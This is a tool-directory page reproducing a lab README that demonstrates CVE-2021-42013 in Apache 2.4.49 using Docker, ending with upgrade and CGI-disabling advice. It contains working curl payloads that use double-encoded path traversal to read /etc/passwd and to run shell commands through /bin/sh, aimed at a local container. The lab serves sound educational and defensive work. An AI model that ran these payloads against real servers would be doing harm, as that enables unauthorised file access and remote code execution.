Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
apache-cve-2021-42013-lab — Docker ortamında Apache HTTP Server 2.4.49 (CVE-2021-42013) zafiyetinin gösterildiği laboratuvar çalışması. | Kitploit
Tools/GitHubGitHub/berraesen/apache-cve-2021-42013-lab
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubberraesen/apache-cve-2021-42013-lab

apache-cve-2021-42013-lab

Docker ortamında Apache HTTP Server 2.4.49 (CVE-2021-42013) zafiyetinin gösterildiği laboratuvar çalışması.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
71 month agoNot yet reviewed

Apache HTTP Server 2.4.49 Path Traversal & Remote Code Execution (CVE-2021-42013)

About the Project

In this project, I demonstrated the CVE-2021-42013 vulnerability in Apache HTTP Server version 2.4.49 in a lab environment I created using Docker.

The goal is to examine how the vulnerability occurs, how it works, and its effects on the system in a controlled environment.

This work is prepared solely for educational and laboratory purposes.

Technologies Used

  • Docker
  • Ubuntu 22.04
  • Apache HTTP Server 2.4.49
  • Bash
  • curl

Project File Structure

root@kitploit:~
.
├── Dockerfile
├── index.html
└── README.md

Requirements

Before running the project, the following must be installed.

  • Docker Desktop
  • Git (optional)

Setup

First, download the repository to your computer.

root@kitploit:~
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git

Navigate into the folder.

root@kitploit:~
cd apache-cve-2021-42013-lab

Build the Docker image.

root@kitploit:~
docker build -t apache-2.4.49-src .

Start the container.

root@kitploit:~
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src

Enter the container.

root@kitploit:~
docker exec -it apache-src /bin/bash

Check the Apache version.

root@kitploit:~
/usr/local/apache2/bin/httpd -v

To exit the container:

root@kitploit:~
exit

Checking Apache Modules

You can check whether the CGI module is enabled with the following command.

root@kitploit:~
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M

Enabling the CGI Module

root@kitploit:~
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

Then restart Apache.

root@kitploit:~
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart

To disable the CGI module:

root@kitploit:~
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

Then restart again.

Testing the Vulnerability

Path Traversal

root@kitploit:~
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"

Remote Code Execution

root@kitploit:~
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"

To display more system information:

root@kitploit:~
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -

Expected Result

After the setup is complete:

  • Apache 2.4.49 should run successfully.
  • When the CGI module is enabled, the vulnerability can be observed.
  • Path Traversal can demonstrate access to system files.
  • RCE shows that commands can be executed on the server.

Vulnerability Working Principle

root@kitploit:~
İstemci (cURL)
      │
      ▼
Apache HTTP Server 2.4.49
      │
      ▼
URL Normalization Hatası
      │
      ▼
Path Traversal
      │
      ├──────────────► CGI Kapalı
      │                     │
      │                     ▼
      │             Dosya erişimi mümkün olabilir
      │
      ▼
CGI Aktif
      │
      ▼
/bin/sh çalıştırılabilir
      │
      ▼
Remote Code Execution (RCE)

In order to demonstrate the RCE scenario, the mod_cgi module must be enabled.

Mitigation

To fix this vulnerability, it is recommended to upgrade Apache HTTP Server to version 2.4.51 or later. Additionally, if CGI is not in use, it is recommended to disable it and define appropriate access permissions only for necessary directories.

Download Tool